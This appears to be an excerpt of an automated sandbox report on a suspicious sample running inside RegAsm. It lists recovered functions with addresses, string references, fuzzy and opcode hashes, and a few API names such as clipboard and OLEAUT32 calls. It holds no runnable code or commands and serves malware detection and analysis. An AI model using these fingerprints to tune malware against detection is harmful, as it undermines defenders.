Instruction ID: 3b6fc7dbca8d43659897c6c89a338d9db0430b3797e073dd088a6240ba40644d
Opcode Fuzzy Hash: 806326fabb1518b066f083a03506ad00710994454575a613e60301918d7e52c2
Instruction Fuzzy Hash: 7A314438608304ABF714AE159C91B3BB3A6EB85750F18852EE695573F1D738DC90878A

Function 0042C465 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

AB@|, xrefs: 0042D9F4

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: AB@|
API String ID: 0-3627600888
Opcode ID: f041e5b4f18625dfaa42653504e20addc449c282f38dd463f45fba843b59f9ad
Instruction ID: 9d680adfff61346dbcddf561b221a097d06f6077c5c56bfff523f23a55ee5db6
Opcode Fuzzy Hash: f041e5b4f18625dfaa42653504e20addc449c282f38dd463f45fba843b59f9ad
Instruction Fuzzy Hash: 634106B15046928FD7228F39C850767FBE1BF97310B189699D0D28B796C738E845CB54

Function 0043C830 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

0$z, xrefs: 0043C915

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$z
API String ID: 0-542936926
Opcode ID: 56022ef5e62e296913ac47c6de968db9b320837307f66e6c85d4f38a5b4770bc
Instruction ID: 598e6e7b5ab3f32ace4510c997d5c2914f2054150b2e0cbc2781ed5d43e0899f
Opcode Fuzzy Hash: 56022ef5e62e296913ac47c6de968db9b320837307f66e6c85d4f38a5b4770bc
Instruction Fuzzy Hash: 7A3104B2A193114BD314DF24CC8471BBBD2EB89714F0A992DE484A7342D37A9C428BDA

Function 00428528 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00428545

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _^]\
API String ID: 0-3116432788
Opcode ID: f6a8d254ef2cb00699e79095288bd1bdad4cbdf7a23a769f2daf49ab799d3e86
Instruction ID: fa1734f8cecfd62dbfa6e1ffd5af071ca539f15cf05182bc01822064141da677
Opcode Fuzzy Hash: f6a8d254ef2cb00699e79095288bd1bdad4cbdf7a23a769f2daf49ab799d3e86
Instruction Fuzzy Hash: 9C21EC7470A2109BD71C8B34DC91B3F73A3FBC6314F69152ED193527A6CB399852468D

Function 00421A10 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

,-, xrefs: 00421A64

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,-
API String ID: 0-1027024164
Opcode ID: e841ffa07ed1daa646f5eb3df3353fcb7b3331a6bb754204e02c01eb04e9c511
Instruction ID: 3df528e0a1c1aaf7ae1dd87ce3c0daf4cbce6c1de34562fe1b5624c5cc0b1623
Opcode Fuzzy Hash: e841ffa07ed1daa646f5eb3df3353fcb7b3331a6bb754204e02c01eb04e9c511
Instruction Fuzzy Hash: E8216A61A153108BC7109F29CC52537B7B1EF92364F85861EE4828B361F778CD05C79B

Function 00440340 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 004403AD

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 6ebeeff5786163907a1946c8d73bc8e49d379f446760a2416b3547ff48868a07
Instruction ID: 33784d5b8146ae1d6e83e41184c2528a054757f8bcb0ba64dcdd6e2a9e18c57c
Opcode Fuzzy Hash: 6ebeeff5786163907a1946c8d73bc8e49d379f446760a2416b3547ff48868a07
Instruction Fuzzy Hash: 1831FF756083048BE314DF58D8C266FBBE4EBC5324F14892DEA9883390D739D858CB9A

Function 0042DE07 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

ses`, xrefs: 0042DE34

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ses`
API String ID: 0-1601344200
Opcode ID: 7ecea65e69f80fd34ed937d50154ad00ae80800854f723ecc4b508468e07b142
Instruction ID: c16a7131854b6aed293f14fd3f65d90cfdcd1604bceaaf5e70633509fa898857
Opcode Fuzzy Hash: 7ecea65e69f80fd34ed937d50154ad00ae80800854f723ecc4b508468e07b142
Instruction Fuzzy Hash: AD110B645046528BEB168F359C55726BBF1AF33354F1892DCD0D1DF292D624C442CB28

Function 0042DDFF Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

ses`, xrefs: 0042DE34

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ses`
API String ID: 0-1601344200
Opcode ID: acdcb12a599db5bd8b29fdd08185f7d8639ff27a1d18159ef2967bd0d873cb9e
Instruction ID: 2b194369684db8568e4cc4b10858fb41ea2ffb87a76b3f2bea81f07ece6f04e6
Opcode Fuzzy Hash: acdcb12a599db5bd8b29fdd08185f7d8639ff27a1d18159ef2967bd0d873cb9e
Instruction Fuzzy Hash: 21014EA46446538BE7128F359C15726FBF1EF33350F18E2A8D091DF2A2D634C842CB18

Function 004289E9 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00428A15

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _^]\
API String ID: 0-3116432788
Opcode ID: 7248b21c1a5d66122527e099d388fada2b713c8df9422b832066424d84c6be5f
Instruction ID: a8dfba8dee4ad149da4611bc05b701b5a33fd88c903e8634cd43ba9cb2d750ed
Opcode Fuzzy Hash: 7248b21c1a5d66122527e099d388fada2b713c8df9422b832066424d84c6be5f
Instruction Fuzzy Hash: ED01D6B0B0A32187D708CB15D49162FB7E2BBCA310F195A2ED0D623755C738E84287CE

Function 0043FA20 Relevance: .7, Instructions: 685COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c171becab70a86a6e575e69f5b8f9388b08847a9ebf173f34fd08f30fb17e69
Instruction ID: 15bf1ea58ee97730c61fd6eda894784fa47516086410607d7a072294ae37ca60
Opcode Fuzzy Hash: 6c171becab70a86a6e575e69f5b8f9388b08847a9ebf173f34fd08f30fb17e69
Instruction Fuzzy Hash: DB22243AB54211CFDB08CF78D8A12AAB3E2FF8A314F1A857DC94697351D7389851CB85

Function 00402EB0 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9edad3ee9539bfad45d948b53ca40223dce90882209d286bf0c99f9c6cd7d631
Instruction ID: 4eb073694aac07531e4e37dd991e5aaa8cdb99ba0f72cd08d303837d400a2551
Opcode Fuzzy Hash: 9edad3ee9539bfad45d948b53ca40223dce90882209d286bf0c99f9c6cd7d631
Instruction Fuzzy Hash: 3552F5715083458FCB15CF24C0906AABFE1BF89305F188A7EF8996B381D779D949CB89

Function 004073D0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e797157fb35717b6a91bbe19d3c6782b16ec68ef1e5ad1ec3f47f605a4e618f
Instruction ID: 6123c4b066af5df033588bdcadea87e91db6a899c9f8ce647c920f563282eda9
Opcode Fuzzy Hash: 6e797157fb35717b6a91bbe19d3c6782b16ec68ef1e5ad1ec3f47f605a4e618f
Instruction Fuzzy Hash: E322A472A087118BD725DF18D8806ABB3E1BFC4319F19893ED986A7385D738B811CB57

Function 0043FB10 Relevance: .5, Instructions: 537COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b217010d00d36b6e532b914cc2c8748e4c1d1399e6fa795548d92cd5122fdeb
Instruction ID: bc1c9a79bd48fbe04f38ca9b4e00e2ed040d16652403f2f97064ad5dbaff0f70
Opcode Fuzzy Hash: 5b217010d00d36b6e532b914cc2c8748e4c1d1399e6fa795548d92cd5122fdeb
Instruction Fuzzy Hash: 9502483AB54211CFD708CF78D8E02AAB7A2FF8A314F1A857DC94693351D739A851CB85

Function 0043FB2A Relevance: .5, Instructions: 527COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c87e449dc06f3ba1431d52dba96a7b849506db30f3e9f92c5d405e1d6b40a5de
Instruction ID: a1c715d08816259ade05fabf2ed31b4fea3a659fa95dcf98a80d69cb0f26fb97
Opcode Fuzzy Hash: c87e449dc06f3ba1431d52dba96a7b849506db30f3e9f92c5d405e1d6b40a5de
Instruction Fuzzy Hash: 59F13939B54211CFD708CF78D8E02AAB3A2FF8A314F1A857DC94693351D735A851CB85

Function 0043FB28 Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a977913465e41e9bc8fdf4fe2f93bdf54fd14983a5a5a95a9e13933d6850651
Instruction ID: 7c816634e29e8635841472aa4442699fe105e1924a6df37b46faa06d9bb3fd90
Opcode Fuzzy Hash: 3a977913465e41e9bc8fdf4fe2f93bdf54fd14983a5a5a95a9e13933d6850651
Instruction Fuzzy Hash: 87F13939B54211CFDB08CF78D8E02AAB3A2FF8A314F19857DC94693351D739A851CB85

Function 0041D8AC Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80d8542304fd61a6ec4704e93bd93ae71f34bee62e8590f6df1c4416f41d4fae
Instruction ID: 5e9d7e84427f8d5228b95ea90cb98d597139ae8c2cd507701152bf7f0d2aec8f
Opcode Fuzzy Hash: 80d8542304fd61a6ec4704e93bd93ae71f34bee62e8590f6df1c4416f41d4fae
Instruction Fuzzy Hash: DBE117B1E00215CFCB14CF69C8516BBBBB1FF4A310F18465DE496AB391E338A951CB99

Function 0041D8D8 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75f06d64608b7b62d8af53fcc16e7372a13ff163848b6366e20841680721154
Instruction ID: 0a10cce7f6b7f4c9e5a99d8e2b4a5133f7361f2e21e3c94240870ffe1abc1756
Opcode Fuzzy Hash: e75f06d64608b7b62d8af53fcc16e7372a13ff163848b6366e20841680721154
Instruction Fuzzy Hash: FAE105B1E00615CFCB14CF69C8516BBBBB1FF4A310F18465DE496AB391E338A951CB98

Function 0043FD70 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6587f211f8bb243ac471bf4d418ae114b6383508c51c90636e998149a2c9f481
Instruction ID: 0795aabbeeca3c289a54d5a983081f6cc9b815f424e4503ad834db78cbe5b8b0
Opcode Fuzzy Hash: 6587f211f8bb243ac471bf4d418ae114b6383508c51c90636e998149a2c9f481
Instruction Fuzzy Hash: 46B1FF39B04211CFCB08CF78E8902AAB7B2FF8A324F1985BDD94593351C775A861CB85

Function 0043FE00 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f54337c51817de601ce1ec662ea4a86470746f121211f08e90cfc523ef7306dd
Instruction ID: 8f12c1f11cf7dd9d5989c678c09bce864ea8bb7899150d07336210a81ccf9f3f
Opcode Fuzzy Hash: f54337c51817de601ce1ec662ea4a86470746f121211f08e90cfc523ef7306dd
Instruction Fuzzy Hash: 2AB11E39A04205CFDB08CF78D8902AEB7B2FF8A314F19857DD94593391D735A922CB85

Function 004406F0 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e85f12f7bbac3723ecb9eee596fb1eeda3fecaf8cb6cd1164115649647f81f7d
Instruction ID: bbaad09b7466ea8e443d8553dc44a5451933c837b4ca1b8c359bd5f9b3e4a5a9
Opcode Fuzzy Hash: e85f12f7bbac3723ecb9eee596fb1eeda3fecaf8cb6cd1164115649647f81f7d
Instruction Fuzzy Hash: 478115756083018BE714DF19C890A2BB7A2FFD5710F19852DEAC49B395EB38DC61CB86

Function 0042BF13 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79f1fd880ab180e1b863fa2a9d981922e66a5893552c9cd54a43db72e04df75
Instruction ID: 1ae5c22645a0c49bea9d6a70653e44e8157fd1e252da5b34c0afae31fd87a2fe
Opcode Fuzzy Hash: d79f1fd880ab180e1b863fa2a9d981922e66a5893552c9cd54a43db72e04df75
Instruction Fuzzy Hash: 314129A4204790CBE7328B3A98E0B737FE0EF27305F48198DE4E78B646D3299405CB59

Function 0041B57D Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e0094a64ed9e0f308886f35ab180eb3d940b80439b08ae9969d5e3e11de77b
Instruction ID: d8b4a6cdd0763d1df8515212ee66b27a55189a0bec8caba65ff171ec82452c36
Opcode Fuzzy Hash: c7e0094a64ed9e0f308886f35ab180eb3d940b80439b08ae9969d5e3e11de77b
Instruction Fuzzy Hash: D23138745047904BD7368B3584A17737FE09F2B308F58489ED1D387293D22A9549C796

Function 0040CC7A Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings$Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 1780199113-0
Opcode ID: 94b07ba9958116a24f49aa2ce181052b6958ac39138e9011af663e1bf14a50e6
Instruction ID: 6b5d6437c4fa7b8805f8ed77d50acdad1f0dd5a7239fa4c95c8d74861a36b3c0
Opcode Fuzzy Hash: 94b07ba9958116a24f49aa2ce181052b6958ac39138e9011af663e1bf14a50e6
Instruction Fuzzy Hash: 0531E4EAF405405BE5057A232863A6F21674BD071CF48103EF84A272C3ED7DB916959F

Function 00432070 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cc46eaab1da60d5c7c303c1f4bff1ac88459165d933fbad2b388fb389fe25a
Instruction ID: 1166d7d1cf2a9c2f689b228294c5ddb55241fb8fb130d34f92ce9a1e81a5b4f1
Opcode Fuzzy Hash: 33cc46eaab1da60d5c7c303c1f4bff1ac88459165d933fbad2b388fb389fe25a
Instruction Fuzzy Hash: 0D814CB451A7808FE374DF05D59869FBBE0FB8A308F11891ED4984B350CBB86549CF9A

Function 00436210 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 63507484b2069e2e8211a278e3cf8cd1c2c15e4e039033c761ca6b325ddcdd3c
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 94112C336041D50ED3119D3C8500566BFD30AD7334F1BD3DAF4B8972D2D6268D8A8359

Function 0042AAC0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b5d740ace398df56c1bc651b30677a1090a792db8fb55b3a5b1b7746f8ad41c
Instruction ID: a0f30dc86e724eb7f88f9efd602dd5de4cd53b28ec3d007000181f31979604c4
Opcode Fuzzy Hash: 7b5d740ace398df56c1bc651b30677a1090a792db8fb55b3a5b1b7746f8ad41c
Instruction Fuzzy Hash: 67019EB1B0031197E6209E25A5C1B27B6A96F94708F18003EED0657342DB7DFC24C29B

Function 0043C990 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6d6b89a0769f86010591fd06291181582dea7eebbe521dc95f02f92bd725890
Instruction ID: ef255d715ab18d882adc5ea52eeea8cbfa11f5837c70251ee56aeac1239934a6
Opcode Fuzzy Hash: b6d6b89a0769f86010591fd06291181582dea7eebbe521dc95f02f92bd725890
Instruction Fuzzy Hash: 410126B5B052264BD720EE55ECC073F7756A7DE711F1EA07AD48077305D2348C419399

Function 0041C300 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d915abd692c596d351a76ef7c44155bf2f7634e88133afcabaf1f94f6f3ee80c
Instruction ID: 3b5a2521859e6f9e2b7c42681b895aeeefce9f58c49972f42ecf2407dd3de83c
Opcode Fuzzy Hash: d915abd692c596d351a76ef7c44155bf2f7634e88133afcabaf1f94f6f3ee80c
Instruction Fuzzy Hash: 91F03160104B914AD7328F3985643B3FFE09B13218F545A4DC9E357AD2D36AD14A8798

Function 0043EDC1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c87cf7490ba7f349dbf4ff6d15317452443a64d08c45edd5236fd878cf74ed6
Instruction ID: 6759ef11ba54ebcff8aa8f6da36673660d6dd1d1c904dc71617b67ba0d321406
Opcode Fuzzy Hash: 2c87cf7490ba7f349dbf4ff6d15317452443a64d08c45edd5236fd878cf74ed6
Instruction Fuzzy Hash: EC01B174E412688BCB24CF66E8912BEB7B1FF56305F186068E482FB380DB358C05CB59

Function 0042C850 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98f4e3217fe9b5c4e997299aec1ba0aa40f02e45b7d4679749b3d65f6db5070c
Instruction ID: 934d56785e493b3be4b0c9c008a8aca41c7e0e8933f1bbf3a4c9d2d3fb154c99
Opcode Fuzzy Hash: 98f4e3217fe9b5c4e997299aec1ba0aa40f02e45b7d4679749b3d65f6db5070c
Instruction Fuzzy Hash: 16F0F0244086938ADB059F2980A0776FBA1AF23345F2C41DEC4C0AB393CB2AC8068758

Function 0042E0DA Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction ID: 53e9e5a03a9e822e66d5819fe35fee1f40f302e6fc978103a9a9be73ad9cdb27
Opcode Fuzzy Hash: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction Fuzzy Hash: C7F065105087F28ADB234B3E54606B3AFE09B63120B581BD6C8E19B3C7C3199497C36A

Function 0042D116 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6e45a90e1ceaff6c5d0e3e053bdb80ffa80649d360dfdb931296267ad3d0f33
Instruction ID: e2807706931cebe5a4fd8447433720849932be0b4ea6b6dd525263aa63fc0ea0
Opcode Fuzzy Hash: f6e45a90e1ceaff6c5d0e3e053bdb80ffa80649d360dfdb931296267ad3d0f33
Instruction Fuzzy Hash: 270149306042428BD344CF38CCA056BFBA1EB83324F08C79DC45687796C638C442C799

Function 0040C805 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4f87736648c9b6f2dd64c8d371659d93ba6f9c6e5d05e4d379e6cf43d16ee00
Instruction ID: 2cc704b116e4bd3b8fd511eeb7f6c98f4211d06ad42a95779158915a2f3845ef
Opcode Fuzzy Hash: c4f87736648c9b6f2dd64c8d371659d93ba6f9c6e5d05e4d379e6cf43d16ee00
Instruction Fuzzy Hash: C6C0123C583840DF83088F20EC08879B374BB0B202B006824E807E33A2CB22A511AA6E

Function 004237D6 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a40189d29a415ea6312dcdd67a1103e7914f9f9b1922703845f218493d16d700
Instruction ID: b006575f33bb30629b5eebf8556c7f8348362c77d274ae0a1f7cd2f0d910ddfd
Opcode Fuzzy Hash: a40189d29a415ea6312dcdd67a1103e7914f9f9b1922703845f218493d16d700
Instruction Fuzzy Hash: 92B092B4A1C2018A87088F00E140039EAB4629F202F30A02E908A63215C225C1058A8E

Function 0043315D Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004331A3

Strings

A, xrefs: 004331CB
D, xrefs: 004331DF
w, xrefs: 00433231
B, xrefs: 004331E9
K, xrefs: 004331FD
y, xrefs: 004331D5
j, xrefs: 00433207
q, xrefs: 004331F3
B, xrefs: 004331C1
M, xrefs: 00433221

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitVariant
String ID: A$B$B$D$K$M$j$q$w$y
API String ID: 1927566239-3160828158
Opcode ID: eddacfeeedbf2f75f6d5a413a3fd0e74a564a643395569db151e54d21141464b
Instruction ID: 1c928e62d6be9c8abd40ab69893dd7e66488cb55e0e55af33186cf6b993705b4
Opcode Fuzzy Hash: eddacfeeedbf2f75f6d5a413a3fd0e74a564a643395569db151e54d21141464b
Instruction Fuzzy Hash: 6241287050CBC18AD335DB38845879EBFD16BD2214F188A9DE2E94B3E2D7788145CB57

Function 0043240F Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00432482

Strings

e, xrefs: 00432436
0, xrefs: 0043270A
f, xrefs: 0043243B
a, xrefs: 00432422
c, xrefs: 0043242C
g, xrefs: 00432440

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: 0$a$c$e$f$g
API String ID: 2525500382-100324306
Opcode ID: 6fa382de4c939dc68479ac497997f55f83f35014caf28410cf75d298f2d01ba0
Instruction ID: 2beeffe621b162477516d1a3ffd6e32473519446922c4ca7b5322f15d7df1e3d
Opcode Fuzzy Hash: 6fa382de4c939dc68479ac497997f55f83f35014caf28410cf75d298f2d01ba0
Instruction Fuzzy Hash: EB91812110DBC28DD3328A7C595879BBED16BA7234F484B9EE0E98B3E6D7704106C767

Function 00432A42 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432A4C
VariantInit.OLEAUT32 ref: 00432A5F

Strings

P, xrefs: 00432B1D
C, xrefs: 00432B2D
C, xrefs: 00432B0D
T, xrefs: 00432AFD

Memory Dump Source

